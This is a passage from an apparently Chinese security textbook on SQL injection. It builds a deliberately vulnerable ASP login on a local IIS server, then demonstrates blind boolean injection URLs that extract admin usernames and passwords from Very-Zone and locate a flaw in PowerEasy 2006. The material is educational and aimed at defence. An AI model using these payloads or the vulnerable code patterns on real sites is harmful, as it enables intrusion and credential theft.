官术网_书友最值得收藏!

1.1 SQL 注入攻擊研究

“注入攻擊”這個詞在網絡上已經是屢見不鮮了。當入侵者準備入侵一臺主機時,通常情況下首先查看這臺服務器上有無動態網頁的Web服務,并且這些動態網頁是否存在漏洞。如果存在漏洞,則可以通過一些手段來得到管理員的密碼,甚至是整臺服務器的控制權。在這些漏洞中比較常見且容易上手的一種攻擊方式就是SQL注入攻擊,這種技術并不需要太高深的理論基礎和復雜的操作。目前掌握這門技術的人較多,也是當前對網站進行入侵的一種主流方式。

本節將披露SQL注入攻擊技術的原理和手法,并介紹針對注入攻擊的防范措施,希望能夠幫助更多的網絡管理員遠離這種攻擊。

1.1.1 測試環境的搭建

本章中的許多內容需要通過實例講解,考慮到不能隨意攻擊和破壞他人的網絡,筆者在自己的電腦中搭建一臺網站服務器,并構造一個存在漏洞的頁面作為實例演示之用。

在 Windows 下有許多網站服務器軟件,其中最為常見的是 IIS(Internet Information Server,Internet信息服務)、PWS(Personal Web Server,個人網頁服務器),以及Apache服務器等。其中PWS在Windows 98操作系統中比較常見,IIS在Windows 2000以后的Windows操作系統中比較常見,Apache經常在Linux中與PHP配合使用??紤]到大部分讀者使用Windows操作系統平臺,而且IIS也比較常見并且容易安裝,所以以IIS為例講解搭建如何網絡服務器。

IIS的安裝過程如下。

(1)將Windows XP的安裝光盤放入光驅中,然后單擊“開始”|“設置”|“控制面板”選項,如圖1-1所示。

圖1-1 “控制面板”選項

(2)彈出“控制面板”窗口,單擊“添加/刪除 Windows 組件”按鈕,如圖1-2所示。

圖1-2 “添加/刪除Windows 組件”按鈕

(3)彈出如圖1-3所示的“Windows組件向導”對話框,選擇“Internet 信息服務(IIS)”復選框。

圖1-3 “Windows組件向導”對話框

(4)單擊“下一步”按鈕,顯示“正在配置組件”對話框,如圖1-4所示。等待,直到提示完成,如圖1-5所示。

圖1-4 “正在配置組件”對話框

圖1-5 提示完成

安裝IIS之后,IIS會創建操作系統所在盤(下面以C盤為例)的\Inetpub\wwwroot文件夾作為網站的根目錄。將相關的網頁文件放到這個目錄中,即可在IE中瀏覽這個網頁。

為了檢驗IIS是否能正常工作,使用記事本編寫如下代碼:

<html>
<head>
<title>測試網頁</title>
</head>
<body>測試IIS是否能正常工作,看到我就說明IIS能正常工作了!
</body>
</html>

將上述代碼保存為 aaa.html 文件,并復制到上述目錄中。打開 IE 瀏覽器,訪問http://127.0.0.1/aaa.html。如果顯示如圖1-6所示的測試結果,則說明IIS已正常運行。

圖1-6 顯示結果

下面測試IIS是否能正常地解析ASP動態腳本網頁,在記事本中輸入下述代碼:

<html>
<head><title>測試asp</title></head>
<body>
<%
Response.Write “Asp正常執行”
%>
</body>
</html>

將上述代碼保存為 aaa.asp 文件,并復制到上述目錄中。然后打開 IE,訪問http://127.0.0.1/aaa.asphttp://localhost/aaa.asp。如果顯示如圖1-7所示的測試結果,說明IIS可以正常工作。

圖1-7 測試結果

1.1.2 一個簡單的實例

大部分留言本的管理后臺登錄后才能進入。一般情況下,用戶在輸入密碼并單擊“登錄”按鈕后登錄頁面會把輸入的密碼提交給一個動態網頁。這個網頁查看該密碼和數據庫中的密碼是否相同,如果相同,則登錄成功;否則就會提示輸入錯誤。

下面首先編寫一個頁面用來顯示用戶名和密碼文本框,以及“登錄”按鈕網頁文件,代碼如下:

<html>
<head><title>登錄頁面</title></head>
<body>
    <div align="center">
        <form action="login.asp" method="post">
            請輸入密碼:
            <br><br>
            用  戶:<input name="name"type="textbox">
            <br>
            密  碼:<input name="pass"type="password">
            <br>
            <input type="submit" value="登錄">
        </form>
    </div>
</body>
</html>

編寫后保存為名為“login.html”的網頁文件。

說明如下:

<form action="login.asp" method="post">

這行代碼指定把數據提交給login.asp網頁。

<input name="name" type="textbox">
    ……
<input name="pass" type="password">

這是一個典型的表單,這兩行代碼顯示一個文本框和一個密碼文本框。其名稱“name”非常重要,login.asp用其從提交的數據中獲取用戶名和密碼數據。

login.asp的代碼如下:

<%
inname = Request("name")
inpass = Request("pass")
set conn=server.createobject("ADODB.CONNECTION")
conn.open "Provider=microsoft.jet.oledb.4.0; Data Source=C:\Inetpub\wwwroot\db.mdb;"
Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘")
truepass = rs("upass")
if inpass=truepass then
  response.write("登錄成功!")
else
  response.write("登錄失??!")
end if
%>
<p>用戶編號:
<%response.write(rs("uid"))%>
</p>
<%
Set rs=Nothing
conn.close
%>

說明如下:

inname = Request("name")
inpass = Request("pass")

從提交的數據中查找名為“name”及“pass”的數據,并分別保存在inname和inpass兩個變量中,后者用于比較pass是否正確。

set conn=server.createobject("ADODB.CONNECTION")
conn.open "Provider=microsoft.jet.oledb.4.0; Data Source=C:\Inetpub\wwwroot\db.mdb;"

使程序連接C:\Inetpub\wwwroot中的db.mdb 數據庫文件,以便查詢數據。

Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘")

查詢db.mdb數據庫data表中,內容為inname 的變量名“uname”,并將其保存在rs變量中。

truepass = rs("upass")

將查詢記錄中upass字段的內容保存到truepass變量中。

if inpass=truepass then
  response.write("登錄成功!")
else
  response.write("登錄失敗!")
end if

這是經典的判斷語句,用于判斷inpass變量是否與truepass相同,即判斷用戶輸入的密碼是否與數據庫中查詢的密碼相同。如果相同,則輸出“登錄成功”;否則輸出“登錄失敗”。

<p>用戶編號:<% respons.wirte(rs("uid"))%></p>

顯示數據庫中uid字段的內容,即當前登錄用戶的編號。

Set rs=Nothing
conn.close

釋放變量并關閉數據庫連接,雖然未釋放變量程序仍可正常運行,但這是編程的良好習慣,值得提倡。

為創建db.mdb數據庫文件,首先需要安裝Access。打開Access 2007主窗口,單擊“文件”→“新建”選項,然后創建如表1-1和圖1-8所示的表結構。

表1-1 數據庫的表結構

圖1-8 表結構

輸入用戶名和密碼,雙擊表名data進入數據編輯界面。添加兩條記錄,如圖1-9所示。其中uname為用戶名,upass為密碼。

圖1-9 添加兩條記錄

將 login.html 和 login.asp 復制到 C:\Inetpub\wwwroot 目錄中,打開 IE,輸入http://127.0.0.1/login.html即可訪問如圖1-10所示的登錄頁面。

圖1-10 登錄頁面

輸入正確的密碼admin后單擊“登錄”按鈕,登錄成功,如圖1-11所示。

圖1-11 登錄成功

輸入一個錯誤密碼,如“123”。單擊“登錄”按鈕,顯示登錄錯誤。如圖1-12所示。

圖1-12 登錄錯誤

上述演示說明這個密碼驗證程序的功能是正確的,問題在于提交的數據。即 name 的值并沒有判斷其合法性,而是直接放到SQL語句中使用,如果用戶輸入的不是密碼,而是一段代碼,問題就嚴重了。從理論上講,確實有很多相似之處。不過注入的效果卻顯而易見,而且沒有多少編程功底的人也可以很容易理解并掌握這種技術。

嘗試在“用戶”文本框中輸入一個單引號,單擊“登錄”按鈕,結果如圖1-13所示。

圖1-13 輸入結果

可以看到IIS提示無法顯示該網頁。如果需要查看錯誤原因,需要設置IE。為此,單擊“工具”|“Internet 選項”選項,如圖1-14所示。

圖1-14 “Internet 選項”選項

打開“Internet選項”對話框,切換到如圖1-15所示的“高級”選項卡,清除“顯示友好HTTP錯誤信息”復選框。

圖1-15 “高級”選項卡

單擊“確定”按鈕,輸入單引號作為用戶名登錄,顯示的錯誤信息如圖1-16所示。

圖1-16 錯誤信息

在檢測一個網站的安全性時,檢測者并不知道該網站所用的數據庫。如果看到這個錯誤信息,則可以看出Microsoft Jet Database Engine是微軟的Access數據庫,可以嘗試Access的一些已知漏洞。

分析出現這個錯誤的原因,查詢數據庫的SQL代碼如下:

inname = Request("name")
……
Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘")

如果用戶輸入的是一個單引號,那么這個語句變為 SELECT * FROM data WHERE uname=‘‘‘。

這樣最后的單引號多余,從而造成語法錯誤。

1.1.3 用瀏覽器直接提交數據

在ASP中,從外部接收的數據即參數。名稱即參數名,其值即該參數值。在login.asp中,接收的用戶名的參數名是“user”,密碼的參數名是“pass”,所以提交的數據中應該分別把用戶名和密碼的參數名與其值匹配。

在瀏覽器的地址欄中要訪問的文件名后面加上問號及參數列表,參數值之間用等號來連接,參數之間用“&”來隔開。用這樣的地址來訪問該頁面,即可達到與頁面提交基本上相同的效果。

地址的形式如下:

http://要訪問的網站/要訪問的頁面.asp?參數1=值1&參數2=值2……

其中參數的順序可以任意調換,不過要保證參數名與值相對應。

如前例中的用戶名的參數名是“name”,值是 admin;密碼的參數名是“pass”,值是admin,則應該在地址欄中輸入以下地址:

http://127.0.0.1/login.asp?name=admin&pass=admin

顯示登錄成功,說明數據提交成功并被login.asp接收,如圖1-17所示。

圖1-17 登錄成功

也可以交換兩個參數的位置來登錄,如用地址http://127.0.0.1/login.asp?pass=admin&name=admin與使用http://127.0.0.1/login.asp?name=admin&pass=admin的結果相同。

如果密碼改為abcde,則訪問的地址是:

http://127.0.0.1/login.asp?name=admin&pass=abcde

http://127.0.0.1/login.asp? pass=abcde&name=admin

訪問下面的地址:

http://127.0.0.1/login.asp?pass=admin&name =abcde

則會登錄失敗,因為密碼為abcde,用戶名為admin。

下面以admin為用戶名,以錯誤的密碼“123456”來登錄:

http://127.0.0.1/login.asp?name=admin&pass=123456

提示登錄失敗,如圖1-18所示。

圖1-18 登錄失敗

說明更換數據,頁面的功能仍正常,即可以判斷密碼的正確性。

使用這種方法模擬提交引號:

http://127.0.0.1/login.asp?pass=admin&name=‘

提示IIS 500錯誤。

這樣登錄完全可以代替用頁面提交,而且可以省略訪問登錄頁面所用的時間,從而提高效率。

這種提交方式在沒有任何漏洞可利用的情況下,還可以通過窮舉法使用可能的密碼組合來登錄,登錄成功說明密碼正確。

在研究SQL注入過程中,將會不停地提交數據測試,所以用這種方法將會事半功倍。而且在實際的入侵中,很多注入點未提供用戶輸入。在這種情況下,也只有用這種方法來提交數據才能執行SQL注入。

1.1.4 注入型攻擊原理

如前所述,因為頁面直接把用戶提交的用戶名(一個單引號)放到SQL語句中執行,所以造成引號不成對的語法錯誤。通過錯誤提示,攻擊者可以知道該網站所用的數據庫類型,然后針對這個數據庫的漏洞進行攻擊。

SQL語句

SQL語句之間用分號“;”隔開。

SELECT語句

SELECT語句是SQL中的查詢語句,通常用于查詢數據庫中的數據,其語法如下:

SELECT  要查詢的內容(可以是字段名列表)  FROM  表名;

其中要查詢的內容可以是字段名列表,多個字段名之間用逗號“,”隔開,查詢所有字段用星號“*”表示。

表名是用來指定要查詢的數據庫中表的名稱。

如查詢data表中的uname和upass兩個字段的值,語句如下:

SELECT  uname,upass  FROM  data;

因為data數據庫中只有uname和upass兩個字段,所以可以編寫如下語句查詢所有列值:

SELECT  *  FROM  data;

WHERE語句

WHERE語句通常放在SELECT語句后面,用來設置查詢過慮條件,即只查詢符合條件的數據,其語法如下:

WHERE  查詢條件列表

查詢條件是一個布爾值(即邏輯值,真或者假)表達式,如果要查詢所有數據,則條件為空。例如:

SELECT  *  FROM  data  WHERE  uname=‘admin’;

多個條件之間用“and ”連接,如要查詢在數據庫中uname字段為admin,以及upass字段為admin的數據:

SELECT  *  FROM  data  WHERE  uname=‘admin’  and  upass=‘admin’;

在SQL中字符串的內容用一對單引號引起。字符串可以為空,如上述語句可寫成:

SELECT  *  FROM  data  WHERE  uname=‘’  and  upass=‘’;

判斷是否有注入漏洞要用到邏輯運算,這里重點介紹“與”運算。

上例中用來查詢的語句是:

SELECT  *  FROM  data  WHERE  uname=‘用戶輸入的用戶名’

在這個語句中只有一個條件,即 uname 為用戶輸入的用戶名。如果在后面再加一個“1=1”的條件:

SELECT  *  FROM  data  WHERE  uname=‘用戶輸入的用戶名’  and  1=1

由于1=1是永遠成立的,所以不影響整個語句的執行。

如果添加“1=2”的條件:

SELECT  *  FROM  data  WHERE  uname=‘用戶輸入的用戶名’  and  1=2

由于1=2永遠不成立,所以所有的條件都不成立。通過在數據庫查詢語句后面添加 and 1=1和 and 1=2兩個條件,查看是否影響頁面的查詢結果,即可判斷注入的語句是否被執行,即檢測頁面是否存在SQL注入漏洞。

下面通過實例來查看利用注入漏洞,漏洞頁面中語句的原型如下:

SELECT  *  FROM  data  WHERE  uname=‘用戶輸入的用戶名’

輸入如下SQL語句:

SELECT  *  FROM  data  WHERE  uname=‘admin’  and  1=1’

在瀏覽器的地址欄中輸入:

http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=1

訪問頁面提示出錯,最后引號多余。

重新構造用戶名:

admin’ and 1=1 and ‘a’=‘a

SQL語句為:

SELECT  *  FROM  data  WHERE  uname=‘admin’  and  1=1  and  ‘a’=‘a’

第3個條件‘a’= ‘a’與‘1’= ‘1’均為一個永遠成立的條件,并不影響其他條件。

在瀏覽器中提交,輸入以下地址:

http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=1 and ‘a’=‘a

可以正常顯示頁面,如圖1-19所示。

圖1-19 登錄成功

在地址欄中有多個類似“%20”的編碼,即URL編碼,瀏覽器會自動地把一些特殊的字符轉換成該編碼?!?20”是空格的URL編碼。

下面提交1=2的恒錯條件讓頁面出錯,查看是否能影響頁面的執行。

在瀏覽器地址欄中輸入以下地址:

http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=2 and ‘a’=‘a

頁面出錯可以說明這個頁面有SQL注入漏洞。使用1=1和1=2的條件來分別訪問頁面時,如果顯示的內容不同,則說明存在漏洞。

SQL的SELECT…FROM語句的返回值為要查詢的記錄內容。

下面利用漏洞來猜解,首先猜解數據庫的表名。以下語句可以作為一個條件來使用:

(SELECT uid FROM data WHERE uname=‘admin’)=1

這是個復雜條件,首先用SELECT語句查詢數據庫中uname字段為admin的記錄,得到其uid字段值。再對比是否為1,為1,則這個條件為真;否則為假。

同樣,以下這個語句也是一個條件:

(SELECT upass FROM data WHERE uname=‘admin’)=‘admin’

首先用SELECT語句查詢數據庫中uname字段為admin的記錄,得到其upass字段值。然后對比是否為admin,為admin,則這個條件為真;否則為假。

把這個語句作為一個條件,然后插到前面用來檢測是否存在漏洞的語句中,即:

SELECT  *  FROM  data  WHERE  uname=‘admin’  and  (SELECT upass FROM data WHERE uname=‘admin’)=‘admin’ and ‘a’=‘a’

如果uname為admin的記錄的upass字段值是admin,添加的條件為真;否則為假。因為使用與運算(and),所以只要條件列表中的一個條件是假,則所有條件都不成立。

根據上面所述來構造如下訪問地址:

http://127.0.0.1/login.asp?pass=admin&name=admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘admin’ and ‘a’=‘a

頁面成功顯示。

更換一個值:

http://127.0.0.1/login.asp?pass=admin&name=admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘123’ and ‘a’=‘a

頁面出錯,說明uname是admin的記錄的upass字段的值不是123。

基于此,可以判斷猜測的密碼是否正確。破解者只要不停地改變上面加粗部分的值來提交測試,頁面正常顯示說明頁面根據這個條件查詢到數據。這樣等于猜解出了用戶的密碼。

如果用戶把密碼設置得難以猜測的話,攻擊者很難猜到,那么這種方法沒有優勢,而且比較麻煩。不過,如果配合利用SQL 語言的靈活性及其自帶的一些函數的話,這種方法還是可取的。

1.1.5 典型攻擊過程及代碼分析

在本節中將會介紹如何利用漏洞猜解出表名、字段名,然后得到用戶的名稱和密碼。

在實際的入侵中,入侵者不知道目標網站的數據庫結構。即數據庫的表名及字段名,所以不存在上述的入侵。

要得到數據庫中的用戶名和密碼,首先應該知道其中用來保存用戶名和密碼的數據表的表名。

使用COUNT函數來查詢這個表時,得到的結果應該大于0。

根據這個推論,可以構造如下條件語句:

(SELECT  COUNT(*)  FROM  data)>0

把這個條件語句利用漏洞試試,構造的URL地址如下:

http://127.0.0.1/login.asp?uname=admin’ and (select count(*) from data )>0 and ‘a’=‘a

提交這個地址,如果頁面能正常顯示,則說明這個表存在;否則說明用來保存用戶名和密碼的表不是這個表。在入侵時,只要不停地變換表名(URL中的“data”部分)。直到頁面正常顯示,說明這個表存在。

如果運氣不好,猜到的這個表不一定用來保存用戶名和密碼。不過程序員在編寫頁面時為了方便調用和維護,不會用復雜的表名,所以表名比用戶名容易猜得多。一般來說,用來保存用戶名和密碼的表名類似于user、manage及admin等。常用的表名可以在網絡上搜索到很多,只要有足夠的經驗,很容易猜出表名。

在猜解出表名以后,需要猜解字段名。為此在 COUNT 中加入猜測的字段名,即構造如下SQL條件語句:

(SELECT  COUNT(uname)  FROM  data)>0

根據這個語句構造的URL地址如下:

http://127.0.0.1/login.asp?uname=admin’ and (select count( uname ) from data )>0 and ‘a’=‘a

如果頁面正常顯示,說明字段存在;否則說明字段不存在。

表1-2所示是筆者積累的一些常見的表名,以及用戶名和密碼的字段名,在猜測表名和字段名時會用到。

表1-2 常見表名,以及用戶名和密碼的字段名

猜解出表名和字段名以后,可以猜解用戶名和密碼。提交不同的SQL語句給頁面,根據其顯示是否正常,可以把數據庫中所有記錄的數據逐個“解出”。

SQL語法知識

len()函數:為取得字符串的長度

len(字符串)

下面以猜解admin 用戶的密碼為例,首先要確定密碼的長度,可以使用SQL的Len()函數,構造如下條件語句:

(SELECT*FROM data WHERE uname=admin and len(upass)>1)>0

這個條件語句的兩個條件是uname為admin,以及upass字段的值長度大于1,即upass值要有兩位以上。在條件不成立時,SELECT 語句查詢不到任何數據。結果應該為0,所以 (SELECT……)>0不成立。

把這個條件語句加到URL中提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)>1 ) >0 and ‘a’=‘a

如果頁面能正常顯示,說明用戶名是admin的這個用戶的密碼至少有兩位;否則說明密碼不大于1位,即這個密碼可能是1位或0位(為空)。

所以只要不停地修改len()后面的數字,即可確定密碼的長度。如要猜解例中的密碼長度,可以按如下順序提交數據:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=0 ) >0 and ‘a’=‘a

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=1 ) >0 and ‘a’=‘a

·

·

·

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=5 ) >0 and ‘a’=‘a

一直到數字改為5時頁面才能正常顯示,說明密碼的長度為5位。

但是這種方法并不高明,逐個數字猜解需要大量時間。在真正的入侵中,如果密碼有數十位,則不知要試到何年何月。

二分法首先確定一個大概的范圍,然后慢慢縮小,直到能確定這個數為止。如例中的這個密碼的長度可以這樣猜:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)<16 ) >0 and ‘a’=‘a

一般用戶的密碼都是16位以內,所以用len(upass)<16作為條件頁面能正常顯示,說明密碼不到16位。現在可以確定密碼的長度在0~15之間,接著找出0~16之間的中間數,計算中間數的公式如下:

中間數=(最大值-最小值)÷2+最小值

套用公式計算如下:

(16-0)÷2+0=8

用8來測試,提交的數據如下:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)<8 ) >0 and ‘a’=‘a

如果頁面不能正常顯示,說明密碼的長度在8位~16位之間;否則說明密碼的長度在0位~7位之間。繼續縮小范圍:

(8-0)÷2+0=4

繼續用4來測試、提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)<4 ) >0 and ‘a’=‘a

頁面出錯,說明密碼的長度不小于4。即大于等于4。同時小于等于8,繼續縮小范圍:

(8-4)÷2+4=6

用6來提交測試:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)<6 ) >0 and ‘a’=‘a

頁面正常顯示,說明密碼的長度小于6位。下面可以用4和5來分別測試:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=4 ) >0 and ‘a’=‘a

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=5 ) >0 and ‘a’=‘a

SQL語法知識

Mid()函數:取得字符串從“起始位置”字符位置起字符個數為“長度”的子字符串。

mid(字符串,起始位置,長度)

mid(‘abcd’,2,2)

結果是bc。

如果將上述語句改成mid(‘abdefg’,3,3),結果是def。

利用mid()函數并結合二分法,即可逐位解出密碼。

首先來猜解第1位密碼,構造的SQL條件語句如下,

(SELECT*FROM data WHERE uname=admin and mid(upass,1,1)= ‘a’)>0

該語句取第1位密碼,并判斷是否為字符a。如果是,則條件成立;否則條件不成立。

把這個條件語句整合到URL地址中,提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,1,1)= ‘a’ ) >0 and ‘a’=‘a

頁面顯示正常,說明猜對。不過要猜解完密碼,需要使用二分法。

接下來開始猜解第2位密碼,提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)= ‘a’ ) >0 and ‘a’=‘a

頁面出錯,說明第2位密碼不是字母 a??梢杂枚址ù_定一個范圍,再逐步縮小這個范圍來確定密碼內容。以如下URL地址測試:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)> ‘a’ ) >0 and ‘a’=‘a

頁面正常顯示,再提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘z’ ) >0 and ‘a’=‘a

根據前面提交的兩個地址都可以正常顯示頁面,可以推斷出第2位密碼是小寫的字母a~ z中的一個。

由于字母的中間數不好求,所以只要估計大概即可。

繼續猜解第2位密碼,字母a~ z的中間位置大概是字母o,提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘o’ ) >0 and ‘a’=‘a

頁面正常顯示,說明密碼是字母a~o之間的一個字母。繼續取中間位置來試,字母a~o的中間位置大概是h,所以提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘h’ ) >0 and ‘a’=‘a

頁面正常顯示,可以確定第2位密碼a~h之間的一個字母。繼續縮小范圍,用字母e測試:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘e’ ) >0 and ‘a’=‘a

頁面正常顯示,然后可以分別測試字母b、c和d,用二分法測試。

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘d’ ) >0 and ‘a’=‘a

頁面出錯,即第2位密碼小于字母e且大于或等于字母d,因此為字母d。測試:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)=‘d’ ) >0 and ‘a’=‘a

頁面顯示正常,說明第2位密碼是字母d。

接下來用同樣方法猜解后面的3位密碼。測試的步驟及其結果如表1-3所示。

表1-3 測試步驟及其結果

到這里,用戶admin的5位密碼都猜解出來,分別是a、d、m、i和n。把mid函數中要猜解的字段名upass換成uname,即可逐位猜解用戶名。

1.1.6 Ⅴery-Zone SQL注入漏洞代碼分析

Very-Zone(非常地帶,簡稱“VZ”)程序是一款個人互動門戶管理的ASP系統,模仿QQ空間(Q-Zone)的用戶頁面。它的早期版本存在著SQL注入漏洞,目前從網絡上下載的版本已經使用SQL通用防注入程序防止了這個漏洞。為了能夠演示如何利用漏洞,筆者刪除了其中的SQL通用防注入程序。

為了更真實地模擬入侵過程,筆者將VZ作為網絡一個真實的網站服務器進行滲透。

打開VZ首頁及頁面中的一個帶參數的鏈接,以http://127.0.0.1/veryzone/announce.asp?id=16為例,如圖1-20所示。

圖1-20 打開的鏈接

在打開的地址欄參數后面加上一個永遠成立的條件“and 1=1”,頁面能正常顯示。

更換為一個永遠都不會成立的條件“and 1=2”,頁面中無公告內容,如圖1-22所示。

圖1-21 頁面正常顯示

圖1-22 無公告內容

確定插入條件會影響頁面的顯示結果后,可以插入不同的條件并根據頁面的顯示來判斷條件是否成立。

首先來猜表名,提交地址:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(*) from Admin)>0

頁面能正常顯示,表Admin確實存在。

猜測用戶名的字段,提交地址:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(User) from Admin)>0

頁面沒有內容,說明猜錯,即數據庫中沒有User這個字段名。把User換成其他字段名來繼續猜解,在提交以下地址時,頁面正常顯示:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(UserName) from Admin)>0

說明在數據庫的Admin表中有UserName這個字段。

在提交以下地址后,頁面正常顯示:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(Password) from Admin)>0

這次猜出一個Password字段,根據表名和字段名不難估計Admin表中保存的是管理員的信息。UserName字段保存的是其用戶名,Password保存的是用戶密碼。

知道表名和字段名之后,可以猜解數據庫中的數據。首先來猜解管理員的用戶名長度:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(UserName)<5) >0

頁面未顯示公告內容,說明管理員的用戶名長度不小于5。再提交:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(UserName)<6) >0

頁面正常顯示,說明管理員的用戶名長度小于6,即用戶名長度是5,提交如下地址驗證:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(UserName)=5) >0

頁面正常顯示。

接下來猜解5位管理員用戶名。用二分法來猜解:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,1,1)= ‘a’) >0

頁面正常顯示,第1位用戶名是字母“a”。

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,2,1)= ‘d’) >0

頁面正常顯示,第2位用戶名是字母“d”。

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,3,1)= ‘m’) >0

頁面正常顯示,第3位用戶名是字母“m”。

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,4,1)= ‘i’) >0

頁面正常顯示,第4位用戶名是字母“i”。

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,5,1)= ‘n’) >0

頁面正常顯示,第5位用戶名是字母“n”。

到這里,管理員的用戶名被猜解出來,即“admin”。

驗證是否準確:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where UserName= ‘admin’) >0

頁面正常顯示,用戶名“admin”存在。

接下來猜測密碼:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(Password)=16) >0

頁面正常顯示,管理員的密碼長度是16。

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(Password,1,1)= ‘7’) >0

頁面正常顯示,管理員的第1位密碼是7。

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(Password,2,1)= ‘a’) >0

頁面正常顯示,管理員的第2位密碼是a。

……

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 *from Admin Where Mid(Password,16,1)= ‘e’) >0

頁面正常顯示,管理員的第16位密碼是e。

至此,密碼被猜解出來,即“7a57a5a743894a0e”,這是字符串“admin”用MD5算法加密后的結果。

以用戶admin,密碼admin登錄后臺,登錄界面如圖1-23所示。

圖1-23 登錄界面

管理員的用戶名和密碼正確,成功進入后臺,如圖1-24所示。

圖1-24 進入后臺

本節通過Very-Zone個人互動門戶管理的Asp系統的SQL注入漏洞演示了如何利用漏洞獲取管理員的用戶名和密碼,這是相當常見的手法。

1.1.7 動易商城2006 SQL注入漏洞代碼分析

動易商城是一個在網上很知名的ASP信息發布及商品交易程序,這個程序有免費版本,從網上下載該程序來安裝。下載程序的壓縮包解壓后的 PowerEasy2006.exe 文件是安裝程序,直接雙擊它運行安裝程序。

直接安裝后的動易商城不可用,訪問結果如圖1-25所示。

圖1-25 訪問結果

需要安裝動易的組件,安裝程序是PE2006_DLL.exe。雙擊即可安裝,安裝時在圖1-26所示的對話框中清除“停止IIS服務”和“重啟IIS服務”復選框;否則IIS可能會無法使用。

圖1-26 “選擇組件”對話框

因為安裝在C:\Inetpub\wwwroot\PowerEasy中,所以應該通過 http://127.0.0.1/powereasy/index.asp來訪問,打開的頁面如圖1-27所示。

圖1-27 打開的頁面

網上關于這個程序最新漏洞的描述如下:

NewComment.asp 文件用來顯示用戶評論,調用該文件需要添加評論,然后才能測試這個漏洞。

相關知識

Request()函數:是ASP程序中的常見函數??捎脕砀鶕得〉每蛻舳颂峤坏椒掌鞯膮怠U{用形式如下:

Request(“參數名”)

其中的參數名為要取得的參數名,這些參數從網頁提交。如前一節例子中提交的http://127.0.0.1/login.asp?name=admin&pass=admin中有name和pass兩個參數。如果程序要取得name參數的值,應該在程序中編寫如下代碼:

Request(“name”)

如果要取得pass參數值并保存在aaa變量中,代碼如下:

aaa = Request(“pass”)

Trim()函數:用來刪除字符串前后兩邊的空格。在處理字符串數據時經常會用到,調用形式如下:

Trim(字符串)

函數會返回刪除兩側空格后的字符串,比如:

Str1=“     你好!     ”
Str2=Trim(Str1)

執行以上語句之后,字符串變量Str2的內容是“你好!”。

首先要確定漏洞在何處,用文本編輯器打開 Region.asp。目標確定在 Province 這個變量上,代碼如下:

Province = Trim(Request.QueryString("Province"))

該語句取得Province參數值并保存在Province變量中,而后繼續查看下面的代碼:

……
Call OpenConn
Set TempRs=Conn.Execute("SELECT Country FROM PE Country ORDER BY Country")
……
Set TempRs=Conn.Execute("SELECT DISTINCT City FROM PE_City WHERE Province='"&Province&"'")
……
ReDim ShowCity(0, 0)
……

這段代碼直接從客戶端接收Province參數并賦值給Province變量,直到加黑的語句調用它。即將其放到SQL語句中執行,并且把查詢到的數據放到頁面的下拉列表框中顯示。沒有經過仔細過濾而使用用戶提交的數據顯然是一個SQL注入漏洞,因為通過提交特殊的數據可以讓服務器執行一些特殊的SQL語句。

